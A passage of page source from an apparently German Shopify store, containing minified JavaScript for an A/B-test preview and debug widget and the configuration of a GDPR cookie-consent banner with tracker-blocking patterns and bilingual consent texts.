${o||"Preview"} Mode\n        </span>\n      </div>\n    </div>\n  `}({name:r.name,experimentId:r.experimentId||o,status:r.status||"Preview"}),v=function(n){let{groups:e,currentGroupIndex:t}=n;const o=e.map(((n,e)=>{const o=n.name||`Group ${e+1}`,r=n.percentage||0;return`\n      <button\n        class="abconvert-group-item ${e===t?"active":""}"\n        data-group-index="${e}"\n        type="button"\n      >\n        <span class="name">${o}</span>\n        <span class="percentage">${r}%</span>\n      </button>\n    `})).join("");return`\n    <div class="abconvert-section">\n      <div class="abconvert-section-label">Test Groups (${e.length})</div>\n      <div class="abconvert-card">\n        <div class="abconvert-group-list">\n          ${o}\n        </div>\n      </div>\n    </div>\n  `}({groups:d,currentGroupIndex:i}),f=(0,un.H5)(e,n,l),b=function(n){let{debugInfo:e,debugApi:t,testGroups:o,isV5:r,expanded:i=!1}=n;if(!r||!e||e.error)return"";const a=function(n,e,t){const o=n.visitorContext||{},r=n.currentContext||o,i=n.hasStoredContext,a=i?'<div class="abconvert-info-banner highlight">
920\n        <span class="abconvert-badge abconvert-badge-info">STORED</span>\n        <span>Using Stored Context - This experiment captured context when you first saw it. Context is locked for consistent targeting.</span>\n       </div>':'<div class="abconvert-info-banner warning">\n        <span class="abconvert-badge abconvert-badge-warning">NEW</span>\n        <span>No Stored Context - First time seeing this experiment. Current session context will be captured on first evaluation.</span>\n       </div>',c=`\n    <div style="margin-bottom: 12px;">\n      <div class="abconvert-section-header">\n        ${i?"Experiment Context (Stored)":"Session Context (Current)"}\n      </div>\n      <div class="abconvert-card" style="${i?"border-color: #005fcc;":""}">\n        ${dn(o)}\n      </div>\n    </div>\n  `,s=i?`\n    <div style="margin-bottom: 12px;">\n      <div class="abconvert-section-header" style="color: #616161;">\n        Current Session (Not Used)\n      </div>\n      <div class="abconvert-card" style="opacity: 0.7;">\n        ${dn(r)}\n      </div>\n    </div>\n  `:"",d=n.trafficAllocation||{},l=`\n    <div style="margin-bottom: 12px;">\n      <div class="abconvert-section-header">Traffic Allocation</div>\n      <div class="abconvert-card" style="font-size: 11px;">\n        <div style="display: flex; align-items: center; gap: 8px;">\n          <span class="abconvert-status-icon ${sn(d.inTest)}">\n            ${cn(d.inTest)}\n          </span>\n          <span>${d.percent??"?"}% of traffic enters test</span>\n          <span style="color: #6d7175;">(${d.inTest?"included":"excluded"})</span>\n        </div>\n      </div>\n    </div>\n  `;let u="";return null!==n.storedGroupIndex&&(u=`\n      <div class="abconvert-info-banner highlight" style="margin-top: 8px;">\n        <div style="font-weight: 500; color: #005bd3;">\n          Stored Assignment: ${t[n.storedGroupIndex]?.name||`Group ${n.storedGroupIndex}`} (index ${n.storedGroupIndex})\n        </div>\n      </div>\n    `),`\n    <div style="padding: 8px 0 16px 0;">\n      ${a}\n      ${c}\n      ${s}\n      ${l}\n      ${function(n,e,t){if(!(n.audienceTargeting?.config?.enabled&&n.audienceTargeting?.config?.groups?.length>0))return"";const o=n.audienceTargeting.config.groups.map((n=>(n.filters||[]).map((o=>{let r=!0;try{r=e.checkAudienceTargeting({enabled:!0,groups:[{id:n.id,filters:[o]}]},t)}catch(n){r=!1}const i=cn(r),a=sn(r),c=Array.isArray(o.value)?o.value.join(", "):o.value;return`\n        <div style="display: flex; align-items: center; gap: 6px; padding: 4px 0;">\n          <span class="abconvert-status-icon ${a}">${i}</span>\n          <span style="font-size: 11px;">${o.type}: ${o.operator} "${c}"</span>\n        </div>\n      `})).join(""))).join("");return`\n    <div style="margin-bottom: 12px;">\n      <div class="abconvert-section-header">\n        Audience Targeting\n        <span class="abconvert-status-icon ${sn(n.audienceTargeting.passes)}" style="margin-left: 4px;">\n          (${n.audienceTargeting.passes?"PASSES":"FAILS"})\n        </span>\n      </div>\n      <div class="abconvert-card" style="font-size: 11px;">\n        ${o||'<span style="color: #6d7175;">No filters configured</span>'}\n      </div>\n    </div>\n  `}(n,e,o)}\n      ${function(n){if(!(n.forceAssignRules?.config?.length>0))return"";const e=n.forceAssignRules.config.map((e=>{const t=n.forceAssignRules.result?.id===e.id;return`\n      <div style="display: flex; align-items: center; gap: 6px; padding: 4px 0; ${t?"background: #e3f1df; border-radius: 4px; padding: 4px 8px;":""}">\n        <span style="color: ${t?"#005bd3":"#6d7175"}; font-weight: bold;">${t?"→":"○"}</span>\n        <span style="font-size: 11px;">${e.filters.map((n=>`${n.type}=${Array.isArray(n.value)?n.value.join(","):n.value}`)).join(" & ")} → ${"assign_group"===e.action?`Group ${e.groupIndex}`:e.action}</span>\n      </div>\n    `})).join("");return`\n    <div style="margin-bottom: 12px;">\n      <div class="abconvert-section-header">\n        Force Assign Rules\n        ${n.forceAssignRules.result?'<span style="color: #005bd3; margin-left: 4px;">(Rule Matched!)</span>':""}\n      </div>\n      <div class="abconvert-card" style="font-size: 11px;">\n        ${e}\n      </div>\n    </div>\n  `}(n)}\n      ${u}\n      \n    <div style="margin-bottom: 12px; margin-top: 12px;">\n      <div class="abconvert-section-header">Override Context</div>\n      <div class="abconvert-override-grid">\n        <select id="abconvert-override-country" class="abconvert-override-select">\n          <option value="">Country: Auto</option>\n          <option value="US">United States</option>\n          <option value="CA">Canada</option>\n          <option value="GB">United Kingdom</option>\n          <option value="DE">Germany</option>\n          <option value="FR">France</option>\n          <option value="AU">Australia</option>\n        </select>\n        <select id="abconvert-override-device" class="abconvert-override-select">\n          <option value="">Device: Auto</option>\n          <option value="desktop">Desktop</option>\n          <option value="mobile">Mobile</option>\n        </select>\n        <select id="abconvert-override-source" class="abconvert-override-select">\n          <option value="">Source: Auto</option>\n          <option value="direct">Direct</option>\n          <option value="google">Google</option>\n          <option value="facebook">Facebook</option>\n          <option value="instagram">Instagram</option>\n          <option value="paid_search">Paid Search</option>\n          <option value="paid_social">Paid Social</option>\n          <option value="email">Email</option>\n        </select>\n        <select id="abconvert-override-visitor" class="abconvert-override-select">\n          <option value="">Visitor: Auto</option>\n          <option value="new">New</option>\n          <option value="returning">Returning</option>\n        </select>\n      </div>\n    </div>\n  \n      <div class="abconvert-button-group">\n        <button id="abconvert-recalculate" class="abconvert-btn abconvert-btn-primary">Test Assignment</button>\n        <button id="abconvert-clear-stored" class="abconvert-btn abconvert-btn-secondary">Clear Stored</button>\n      </div>\n      <div style="margin-top: 8px;">\n        <button id="abconvert-clear-context" class="abconvert-btn abconvert-btn-critical" style="width: 100%;">\n          Reset All Context (New Session)\n        </button>\n      </div>\n      <div id="abconvert-assignment-result" class="abconvert-result-box"></div>\n    </div>\n  `}(e,t,o);return`\n    <div class="abconvert-debug-section">\n      ${(0,rn.q)({id:"abconvert-debug",title:"Debug Panel (V5)",icon:"🔧",content:a,expanded:i})}\n    </div>\n  `}({debugInfo:c,debugApi:s,testGroups:d,isV5:a,expanded:l.has("abconvert-debug")});return`\n    ${u}\n    ${p}\n    ${v}\n    ${f}\n    ${b}\n  `}function gn(n,e){const t=n[e],o=t.testType;let r=(0,on.DZ)(e);const i=null!==r?r:0;null===r&&((0,on.gp)(e,0),window.location.reload());const a=window.abconvertDebug,c="v5"===t.version;let s=null;if(a&&c)try{s=a.getDebugInfo(e)}catch(n){console.warn("[ABConvert] Failed to get debug info:",n)}return{testType:o,experiments:n,experimentId:e,experimentData:t,currentGroupIndex:i,isV5:c,debugInfo:s,debugApi:a,...(0,un.WU)(o,t)}}function mn(n,e){const{testType:t,experiments:o,experimentId:r,experimentData:i,isV5:a,debugInfo:c,debugApi:s}=e,d=i.groups||[],l=(n,e)=>{const t=(0,on.uH)();e?t.add(n):t.delete(n),(0,on.K7)(t)};!function(n,e){const t=n.querySelector("#abconvert-experiment-selector");t&&t.addEventListener("change",(function(){const n=this.value;e&&e(n)}))}(n,(e=>{!function(n,e,t){(0,on.xX)(t),n.dataset.experimentId=t;const o=gn(e,t),r=n.querySelector(".abconvert-widget-content");r&&(r.innerHTML=bn(o),mn(n,o))}(n,o,e)})),function(n,e,t){n.querySelectorAll(".abconvert-group-item").forEach((n=>{n.addEventListener("click",(function(){const n=this.dataset.groupIndex;t&&t(n,e)}))}))}(n,r,((n,e)=>{(0,on.gp)(e,parseInt(n,10)),(0,un.Mq)(t,i,parseInt(n,10))||window.location.reload()})),(0,un.uh)(t,n,e,l),a&&c&&!c.error&&function(n,e,t,o,r,i){(0,rn.s)(n,"abconvert-debug","2000px",i);const a=n.querySelector("#abconvert-clear-stored");a&&o&&a.addEventListener("click",(()=>{o.clearStoredAssignment(String(t)),ln(n,"warning","Stored Assignment Cleared","Next visit will recalculate group assignment based on current context and rules.")}));const c=n.querySelector("#abconvert-clear-context");c&&o&&c.addEventListener("click",(()=>{o.clearStoredContext(),o.clearStoredAssignment(String(t)),ln(n,"error","All Context Reset","Traffic source, referral domain, landing page, visitor type, and visitor ID have been cleared.<br><br><strong>Reload the page</strong> to simulate a fresh visitor session.")}));const s=n.querySelector("#abconvert-recalculate");s&&o&&s.addEventListener("click",(()=>{!function(n,e,t,o,r){const i=n.querySelector("#abconvert-override-country")?.value,a=n.querySelector("#abconvert-override-device")?.value,c=n.querySelector("#abconvert-override-source")?.value,s=n.querySelector("#abconvert-override-visitor")?.value,d=o.getVisitorContext(e?.startTime),l={...d,country:i||d.country,device:a||d.device,trafficSource:c||d.trafficSource,visitorType:s||d.visitorType};o.clearStoredAssignment(String(t));const u=e?.groups?.map((n=>n.percentage))||[50,50],p=o.getVisitorId(),v=o.checkTrafficAllocation(p,String(t),e.trafficAllocationPercent??100),f=o.checkAudienceTargeting(e.audienceTargeting,l),b=o.evaluateForceAssignRules(e.forceAssignRules,l);if(v)if(f)if(b&&"exclude"===b.action)ln(n,"error","❌ Excluded by Force Rule",`Matched rule: ${b.id||"unknown"}`);else if(b&&"assign_group"===b.action)ln(n,"info",`→ Force Assigned to: ${r[b.groupIndex]?.name||`Group ${b.groupIndex}`}`,`Matched rule assigns to group index ${b.groupIndex}`);else{const i=o.getGroupAssignment({experimentId:String(t),trafficAllocationPercent:e.trafficAllocationPercent??100,audienceTargeting:e.audienceTargeting??null,forceAssignRules:e.forceAssignRules??null,percentages:u,experimentStartTime:e.startTime??null});ln(n,"success",`✓ Assigned to: ${r[i.groupIndex]?.name||`Group ${i.groupIndex}`}`,`Reason: ${i.reason}<br>Context used: ${l.country||"(auto)"}, ${l.device||"(auto)"}, ${l.trafficSource||"(auto)"}`)}else ln(n,"error","❌ Excluded from Test","Reason: Does not match audience targeting criteria");else ln(n,"error","❌ Excluded from Test",`Reason: Traffic allocation (visitor hash outside ${e.trafficAllocationPercent??100}% threshold)`)}(n,e,t,o,r)}))}(n,i,r,s,d,l)}let hn=!1;const $n="__ABConvertPreviewWidgetScheduler";function xn(){window[$n]===xn?hn||(hn=!0,setTimeout((()=>{hn=!1,fn()}),0)):window.removeEventListener(pn.$F,xn)}const wn=window[$n];"function"==typeof wn&&window.removeEventListener(pn.$F,wn),window[$n]=xn,window.addEventListener(pn.$F,xn),"loading"===document.readyState?document.addEventListener("DOMContentLoaded",xn,{once:!0}):xn()})();
921</script>
921
922<!-- BEGIN app block: shopify://apps/pandectes-gdpr/blocks/banner/58c0baa2-6cc1-480c-9ea6-38d6d559556a -->
923
924  
925    
926      <!-- TCF is active, scripts are loaded above -->
927      
928        
928<script>
929          if (!window.PandectesRulesSettings) {
930            window.PandectesRulesSettings = {"store":{"id":46174666912,"adminMode":false,"headless":false,"storefrontRootDomain":"","checkoutRootDomain":"","storefrontAccessToken":""},"banner":{"revokableTrigger":false,"cookiesBlockedByDefault":"7","hybridStrict":false,"isActive":true},"geolocation":{"auOnly":false,"brOnly":false,"caOnly":false,"chOnly":false,"euOnly":false,"jpOnly":false,"nzOnly":false,"thOnly":false,"zaOnly":false,"canadaOnly":false,"canadaLaw25":false,"canadaPipeda":false,"globalVisibility":true},"blocker":{"isActive":true,"googleConsentMode":{"isActive":false,"id":"","analyticsId":"","adStorageCategory":4,"analyticsStorageCategory":2,"functionalityStorageCategory":1,"personalizationStorageCategory":1,"securityStorageCategory":0,"customEvent":true,"redactData":true,"urlPassthrough":false},"facebookPixel":{"isActive":false,"id":"","ldu":false},"microsoft":{},"clarity":{},"amazon":{},"rakuten":{"isActive":false,"cmp":false,"ccpa":false},"gpcIsActive":false,"defaultBlocked":7,"patterns":{"whiteList":[],"blackList":{"1":["static.hotjar.com/c/hotjar","google-analytics.com|googletagmanager.com/gtag/destination|googletagmanager.com/gtag/js?id=UA|googletagmanager.com/gtag/js?id=G"],"2":["https://www.googletagmanager.com/gtm.js?id=GTM"],"4":["connect.facebook.net","analytics.tiktok.com/i18n/pixel","bat.bing.com","googleads.g.doubleclick.net","s.adroll.com/j/","s.pinimg.com/ct/core.js|s.pinimg.com/ct/lib","googletagmanager.com/gtag/js\\?id=AW|googleadservices.com","static.klaviyo.com|www.klaviyo.com|static-tracking.klaviyo.com|a.klaviyo.com","static.ads-twitter.com/uwt.js|static.ads-twitter.com/oct.js","sc-static.net","intg.snapchat.com/shopify/shopify-scevent-init.js"],"8":[]},"iframesWhiteList":[],"iframesBlackList":{"1":[],"2":[],"4":[],"8":[]},"beaconsWhiteList":[],"beaconsBlackList":{"1":[],"2":[],"4":[],"8":[]}}}};
931            const rulesScript = document.createElement('script');
932            window.PandectesRulesSettings.auto = true;
933            rulesScript.src = "https://cdn.shopify.com/extensions/01a11687-a319-7422-b9b0-51680bbe142b/gdpr-cookie-consent-419/assets/pandectes-rules.js";
934            const firstChild = document.head.firstChild;
935            document.head.insertBefore(rulesScript, firstChild);
936          }
937        </script>
937
938      
939      
939<script>
940        
941          window.PandectesSettings = {"store":{"id":46174666912,"plan":"premium","theme":"Engraving + Upsell Issue","primaryLocale":"de","adminMode":false,"headless":false,"storefrontRootDomain":"","checkoutRootDomain":"","storefrontAccessToken":"","useGeolocation":false},"impressions":{"enabled":true,"timezone":"Europe/Berlin"},"tsPublished":1787915073,"declaration":{"declDays":"","declName":"","declPath":"","declType":"","declHours":"","declWeeks":"","declYears":"","declDomain":"","declMonths":"","declMinutes":"","declPurpose":"","declSeconds":"","declSession":"","showPurpose":false,"declProvider":"","showProvider":false,"declIntroText":"","declRetention":"","declFirstParty":"","declThirdParty":"","showDateGenerated":true},"language":{"unpublished":["es"],"languageMode":"Multilingual","fallbackLanguage":"en","languageDetection":"browser","languagesSupported":["es","de"]},"texts":{"managed":{"headerText":{"de":"Wir respektieren Ihre Privatsphäre.","en":"We respect your privacy."},"consentText":{"de":"Diese Website verwendet Cookies, um Ihnen das beste Nutzererlebnis zu bieten.","en":"This website uses cookies to ensure you get the best experience."},"linkText":{"de":"Mehr erfahren","en":"Learn more"},"imprintText":{"de":"Impressum","en":"Imprint"},"googleLinkText":{"de":"Googles Datenschutzbestimmungen","en":"Google's Privacy Terms"},"allowButtonText":{"de":"Akzeptieren","en":"Accept"},"denyButtonText":{"de":"Ablehnen","en":"Decline"},"dismissButtonText":{"de":"OK","en":"Ok"},"leaveSiteButtonText":{"de":"Verlassen Sie diese Seite","en":"Leave this site"},"preferencesButtonText":{"de":"Präferenzen","en":"Preferences"},"cookiePolicyText":{"de":"Cookie-Einstellungen","en":"Consent preferences"},"preferencesPopupTitleText":{"de":"Einwilligungseinstellungen verwalten","en":"Manage consent preferences"},"preferencesPopupIntroText":{"de":"Wir verwenden Cookies, um die Funktionalität unserer Website zu optimieren, ihre Leistung zu analysieren und Ihnen ein personalisiertes Nutzererlebnis zu bieten. Einige Cookies sind für den korrekten Betrieb der Website unerlässlich. Diese Cookies können nicht deaktiviert werden. In diesem Fenster können Sie Ihre Cookie-Einstellungen verwalten.","en":"We use cookies to optimize website functionality, analyze the performance, and provide personalized experience to you. Some cookies are essential to make the website operate and function correctly. Those cookies cannot be disabled. In this window you can manage your preference of cookies."},"preferencesPopupSaveButtonText":{"de":"Einstellungen speichern","en":"Save preferences"},"preferencesPopupCloseButtonText":{"de":"Schließen","en":"Close"},"preferencesPopupAcceptAllButtonText":{"de":"Alle akzeptieren","en":"Accept all"},"preferencesPopupRejectAllButtonText":{"de":"Alle ablehnen","en":"Deny all"},"cookiesDetailsText":{"de":"Cookie-Details","en":"Cookies details"},"preferencesPopupAlwaysAllowedText":{"de":"Immer erlaubt","en":"Always allowed"},"accessSectionParagraphText":{"de":"Sie haben das Recht, jederzeit auf Ihre Daten zuzugreifen.","en":"You have the right to request access to your data at any time."},"accessSectionTitleText":{"de":"Datenübertragbarkeit","en":"Data portability"},"accessSectionAccountInfoActionText":{"de":"persönliche Daten","en":"Personal data"},"accessSectionDownloadReportActionText":{"de":"Alle Daten anfordern","en":"Request export"},"accessSectionGDPRRequestsActionText":{"de":"Anfragen betroffener Personen","en":"Data subject requests"},"accessSectionOrdersRecordsActionText":{"de":"Aufträge","en":"Orders"},"rectificationSectionParagraphText":{"de":"Sie haben das Recht, die Aktualisierung Ihrer Daten zu verlangen, wann immer Sie dies für angemessen halten.","en":"You have the right to request your data to be updated whenever you think it is appropriate."},"rectificationSectionTitleText":{"de":"Datenberichtigung","en":"Data Rectification"},"rectificationCommentPlaceholder":{"de":"Beschreiben Sie, was Sie aktualisieren möchten","en":"Describe what you want to be updated"},"rectificationCommentValidationError":{"de":"Kommentar ist erforderlich","en":"Comment is required"},"rectificationSectionEditAccountActionText":{"de":"Aktualisierung anfordern","en":"Request an update"},"erasureSectionTitleText":{"de":"Recht auf Löschung","en":"Right to be forgotten"},"erasureSectionParagraphText":{"de":"Sie haben das Recht, die Löschung aller Ihrer Daten zu verlangen. Danach können Sie nicht mehr auf Ihr Konto zugreifen.","en":"You have the right to ask all your data to be erased. After that, you will no longer be able to access your account."}
941,"erasureSectionRequestDeletionActionText":{"de":"Löschung personenbezogener Daten anfordern","en":"Request personal data deletion"},"consentDate":{"de":"Zustimmungsdatum","en":"Consent date"},"consentId":{"de":"Einwilligungs-ID","en":"Consent ID"},"consentSectionChangeConsentActionText":{"de":"Einwilligungspräferenz ändern","en":"Change consent preference"},"consentSectionConsentedText":{"de":"Sie haben der Cookie-Richtlinie dieser Website zugestimmt am","en":"You consented to the cookies policy of this website on"},"consentSectionNoConsentText":{"de":"Sie haben der Cookie-Richtlinie dieser Website nicht zugestimmt.","en":"You have not consented to the cookies policy of this website."},"consentSectionTitleText":{"de":"Ihre Cookie-Einwilligung","en":"Your cookie consent"},"consentStatus":{"de":"Einwilligungspräferenz","en":"Consent preference"},"confirmationFailureMessage":{"de":"Ihre Anfrage wurde nicht bestätigt. Bitte versuchen Sie es erneut und wenn das Problem weiterhin besteht, wenden Sie sich an den Ladenbesitzer, um Hilfe zu erhalten","en":"Your request was not verified. Please try again and if problem persists, contact store owner for assistance"},"confirmationFailureTitle":{"de":"Ein Problem ist aufgetreten","en":"A problem occurred"},"confirmationSuccessMessage":{"de":"Wir werden uns in Kürze zu Ihrem Anliegen bei Ihnen melden.","en":"We will soon get back to you as to your request."},"confirmationSuccessTitle":{"de":"Ihre Anfrage wurde bestätigt","en":"Your request is verified"},"guestsSupportEmailFailureMessage":{"de":"Ihre Anfrage wurde nicht übermittelt. Bitte versuchen Sie es erneut und wenn das Problem weiterhin besteht, wenden Sie sich an den Shop-Inhaber, um Hilfe zu erhalten.","en":"Your request was not submitted. Please try again and if problem persists, contact store owner for assistance."},"guestsSupportEmailFailureTitle":{"de":"Ein Problem ist aufgetreten","en":"A problem occurred"},"guestsSupportEmailPlaceholder":{"de":"E-Mail-Addresse","en":"E-mail address"},"guestsSupportEmailSuccessMessage":{"de":"Wenn Sie als Kunde dieses Shops registriert sind, erhalten Sie in Kürze eine E-Mail mit Anweisungen zum weiteren Vorgehen.","en":"If you are registered as a customer of this store, you will soon receive an email with instructions on how to proceed."},"guestsSupportEmailSuccessTitle":{"de":"Vielen Dank für die Anfrage","en":"Thank you for your request"},"guestsSupportEmailValidationError":{"de":"Email ist ungültig","en":"Email is not valid"},"guestsSupportInfoText":{"de":"Bitte loggen Sie sich mit Ihrem Kundenkonto ein, um fortzufahren.","en":"Please login with your customer account to further proceed."},"submitButton":{"de":"einreichen","en":"Submit"},"submittingButton":{"de":"Senden...","en":"Submitting..."},"cancelButton":{"de":"Abbrechen","en":"Cancel"},"declIntroText":{"de":"Wir verwenden Cookies, um die Funktionalität der Website zu optimieren, die Leistung zu analysieren und Ihnen ein personalisiertes Erlebnis zu bieten. Einige Cookies sind für den ordnungsgemäßen Betrieb der Website unerlässlich. Diese Cookies können nicht deaktiviert werden. In diesem Fenster können Sie Ihre Präferenzen für Cookies verwalten.","en":"We use cookies to optimize website functionality, analyze the performance, and provide personalized experience to you. Some cookies are essential to make the website operate and function correctly. Those cookies cannot be disabled. In this window you can manage your preference of cookies."},"declDateGenerated":{"de":"Datum generiert von","en":"Date generated by"},"declName":{"de":"Name","en":"Name"},"declPurpose":{"de":"Zweck","en":"Purpose"},"declType":{"de":"Typ","en":"Type"},"declRetention":{"de":"Speicherdauer","en":"Retention"},"declProvider":{"de":"Anbieter","en":"Provider"},"declFirstParty":{"de":"Erstanbieter","en":"First-party"},"declThirdParty":{"de":"Drittanbieter","en":"Third-party"},"declSeconds":{"de":"Sekunden","en":"seconds"},"declMinutes":{"de":"Minuten","en":"minutes"},"declHours":{"de":"Std.","en":"hours"},"declWeeks":{"de":"Woche(n)","en":"week(s)"},"declDays":{"de":"Tage","en":"days"},"declMonths":{"de":"Monate","en":"months"},"declYears":{"de":"Jahre","en":"years"},"declSession":{"de":"Sitzung","en":"Session"},"declDomain":{"de":"Domain","en":"Domain"},"declPath":{"de":"Weg","en":"Path"}}
941,"categories":{"strictlyNecessaryCookiesTitleText":{"de":"Unbedingt erforderlich","en":"Strictly necessary cookies"},"strictlyNecessaryCookiesDescriptionText":{"de":"Diese Cookies sind unerlässlich, damit Sie sich auf der Website bewegen und ihre Funktionen nutzen können, z. B. den Zugriff auf sichere Bereiche der Website. Ohne diese Cookies kann die Website nicht richtig funktionieren.","en":"These cookies are essential in order to enable you to move around the website and use its features, such as accessing secure areas of the website. The website cannot function properly without these cookies."},"functionalityCookiesTitleText":{"de":"Funktionale Cookies","en":"Functional cookies"},"functionalityCookiesDescriptionText":{"de":"Diese Cookies ermöglichen es der Website, verbesserte Funktionalität und Personalisierung bereitzustellen. Sie können von uns oder von Drittanbietern gesetzt werden, deren Dienste wir auf unseren Seiten hinzugefügt haben. Wenn Sie diese Cookies nicht zulassen, funktionieren einige oder alle dieser Dienste möglicherweise nicht richtig.","en":"These cookies enable the site to provide enhanced functionality and personalisation. They may be set by us or by third party providers whose services we have added to our pages. If you do not allow these cookies then some or all of these services may not function properly."},"performanceCookiesTitleText":{"de":"Performance-Cookies","en":"Performance cookies"},"performanceCookiesDescriptionText":{"de":"Diese Cookies ermöglichen es uns, die Leistung unserer Website zu überwachen und zu verbessern. Sie ermöglichen es uns beispielsweise, Besuche zu zählen, Verkehrsquellen zu identifizieren und zu sehen, welche Teile der Website am beliebtesten sind.","en":"These cookies enable us to monitor and improve the performance of our website. For example, they allow us to count visits, identify traffic sources and see which parts of the site are most popular."},"targetingCookiesTitleText":{"de":"Targeting-Cookies","en":"Targeting cookies"},"targetingCookiesDescriptionText":{"de":"Diese Cookies können von unseren Werbepartnern über unsere Website gesetzt werden. Sie können von diesen Unternehmen verwendet werden, um ein Profil Ihrer Interessen zu erstellen und Ihnen relevante Werbung auf anderen Websites anzuzeigen. Sie speichern keine direkten personenbezogenen Daten, sondern basieren auf der eindeutigen Identifizierung Ihres Browsers und Ihres Internetgeräts. Wenn Sie diese Cookies nicht zulassen, erleben Sie weniger zielgerichtete Werbung.","en":"These cookies may be set through our site by our advertising partners. They may be used by those companies to build a profile of your interests and show you relevant adverts on other sites.    They do not store directly personal information, but are based on uniquely identifying your browser and internet device. If you do not allow these cookies, you will experience less targeted advertising."},"unclassifiedCookiesTitleText":{"de":"Unklassifizierte Cookies","en":"Unclassified cookies"},"unclassifiedCookiesDescriptionText":{"de":"Unklassifizierte Cookies sind Cookies, die wir gerade zusammen mit den Anbietern einzelner Cookies klassifizieren.","en":"Unclassified cookies are cookies that we are in the process of classifying, together with the providers of individual cookies."}},"auto":{}},"library":{"previewMode":false,"fadeInTimeout":0,"defaultBlocked":7,"showLink":true,"showImprintLink":false,"showGoogleLink":false,"enabled":true,"cookie":{"expiryDays":365,"secure":true,"domain":""},"dismissOnScroll":false,"dismissOnWindowClick":false,"dismissOnTimeout":false,"palette":{"popup":{"background":"#F1F1F1","backgroundForCalculations":{"a":1,"b":241,"g":241,"r":241},"text":"#000000"},"button":{"background":"#EBC23E","backgroundForCalculations":{"a":1,"b":62,"g":194,"r":235},"text":"#000000","textForCalculation":{"a":1,"b":0,"g":0,"r":0},"border":"transparent"}},"content":{"href":"https://essentialbag.de/pages/datenschutz","imprintHref":"/","close":"&#10005;","target":"","logo":""},"window":"<div role=\"dialog\" aria-label=\"{{header}}
941\" aria-describedby=\"cookieconsent:desc\" id=\"pandectes-banner\" class=\"cc-window-wrapper cc-popup-wrapper\"><div class=\"pd-cookie-banner-window cc-window {{classes}}\">{{children}}</div></div>","compliance":{"custom":"<div class=\"cc-compliance cc-highlight\">{{preferences}}{{allow}}</div>"},"type":"custom","layouts":{"basic":"{{messagelink}}{{compliance}}"},"position":"popup","theme":"classic","revokable":false,"animateRevokable":false,"revokableReset":false,"revokableLogoUrl":"https://eminenter.myshopify.com/cdn/shop/files/pandectes-reopen-logo.png","revokablePlacement":"bottom-left","revokableMarginHorizontal":15,"revokableMarginVertical":15,"static":false,"autoAttach":true,"hasTransition":true,"blacklistPage":[""],"elements":{"close":"<button aria-label=\"\" type=\"button\" class=\"cc-close\">{{close}}</button>","dismiss":"<button type=\"button\" class=\"cc-btn cc-btn-decision cc-dismiss\">{{dismiss}}</button>","allow":"<button type=\"button\" class=\"cc-btn cc-btn-decision cc-allow\">{{allow}}</button>","deny":"<button type=\"button\" class=\"cc-btn cc-btn-decision cc-deny\">{{deny}}</button>","preferences":"<button type=\"button\" class=\"cc-btn cc-settings\" aria-controls=\"pd-cp-preferences\" onclick=\"Pandectes.fn.openPreferences()\">{{preferences}}</button>"}},"geolocation":{"auOnly":false,"brOnly":false,"caOnly":false,"chOnly":false,"euOnly":false,"jpOnly":false,"nzOnly":false,"thOnly":false,"zaOnly":false,"canadaOnly":false,"canadaLaw25":false,"canadaPipeda":false,"globalVisibility":true},"dsr":{"guestsSupport":false,"accessSectionDownloadReportAuto":false},"banner":{"resetTs":1689327244,"extraCss":"        .cc-banner-logo {max-width: 24em!important;}    @media(min-width: 768px) {.cc-window.cc-floating{max-width: 24em!important;width: 24em!important;}}    .cc-message, .pd-cookie-banner-window .cc-header, .cc-logo {text-align: left}    .cc-window-wrapper{z-index: 2147483647;-webkit-transition: opacity 1s ease;  transition: opacity 1s ease;}    .cc-window{padding: 32px!important;z-index: 2147483647;font-size: 20px!important;font-family: inherit;}    .pd-cookie-banner-window .cc-header{font-size: 20px!important;font-family: inherit;}    .pd-cp-ui{font-family: inherit; background-color: #F1F1F1;color:#000000;}    button.pd-cp-btn, a.pd-cp-btn{background-color:#EBC23E;color:#000000!important;}    input + .pd-cp-preferences-slider{background-color: rgba(0, 0, 0, 0.3)}    .pd-cp-scrolling-section::-webkit-scrollbar{background-color: rgba(0, 0, 0, 0.3)}    input:checked + .pd-cp-preferences-slider{background-color: rgba(0, 0, 0, 1)}    .pd-cp-scrolling-section::-webkit-scrollbar-thumb {background-color: rgba(0, 0, 0, 1)}    .pd-cp-ui-close{color:#000000;}    .pd-cp-preferences-slider:before{background-color: #F1F1F1}    .pd-cp-title:before {border-color: #000000!important}    .pd-cp-preferences-slider{background-color:#000000}    .pd-cp-toggle{color:#000000!important}    @media(max-width:699px) {.pd-cp-ui-close-top svg {fill: #000000}}    .pd-cp-toggle:hover,.pd-cp-toggle:visited,.pd-cp-toggle:active{color:#000000!important}    .pd-cookie-banner-window {}  .cc-settings {border:none;}.cc-settings:hover {background-color: rgb(241, 241, 241) !important;}.cc-window.cc-floating .cc-compliance {flex-direction: column-reverse;}.cc-allow {width:100%;}.pd-cp-ui-rejectAll {display:none !important;}.pd-cp-ui-close {display:none;}@media only screen and (min-width:1100px) {.pd-cp-ui {width: 450px !important;height: 100%;max-height: 100%;}.pd-cp-ui-intro {font-size: 1em;margin: 3em 0;}.pd-cp-scrolling-section {min-height: 250px !important;}.pd-cp-ui-footer .pd-cp-ui-col-6 {flex: 0 0 100% !important;max-width: 100% !important;}.pd-cp-ui-save {width: 100%;}.pd-cp-ui-header {flex-direction: column;}.pd-cp-ui-horizontal-buttons {margin-top:15px;}.pd-cp-ui-horizontal-buttons .pd-cp-btn {max-width: 100% !important;}.pd-cp-ui-acceptAll {width:100%;display:block;font-size:0.9em;font-weight:700;}}@media only screen and (max-width:600px;) {.pd-cp-ui-acceptAll {width: 100% !important;}.pd-cp-ui-horizontal-buttons .pd-cp-btn {max-width: 100% !important;}}.pd-cp-ui-title-container {text-align:center !important;}.pd-cp-ui-title-container {font-size: 1.3em;}.pd-cp-ui-horizontal-buttons .pd-cp-btn {max-width: 100% !important;}.pd-cp-ui-acceptAll {width:100%;display:block;font-size:0.9em;font-weight:700;padding: 0.8em 1em !important;}","customJavascript":{},"showPoweredBy":false,"logoHeight":40,"revokableTrigger":false,"hybridStrict":false,"cookiesBlockedByDefault":"7","isActive":true,"implicitSavePreferences":true,"cookieIcon":false,"blockBots":false,"showCookiesDetails":true,"hasTransition":true,"blockingPage":false,"showOnlyLandingPage":false,"leaveSiteUrl":"https://www.google.com","linkRespectStoreLang":false},"cookies":{"0":[{"name":"keep_alive","type":"http","domain":"essentialbag.de","path":"/","provider":"Shopify","firstParty":true,"retention":"30 minute(s)","session":false,"expires":30,"unit":"declMinutes","purpose":{"en":"Used in connection with buyer localization.","de":"Wird verwendet, wenn die internationale Domänenumleitung aktiviert ist, um festzustellen, ob eine 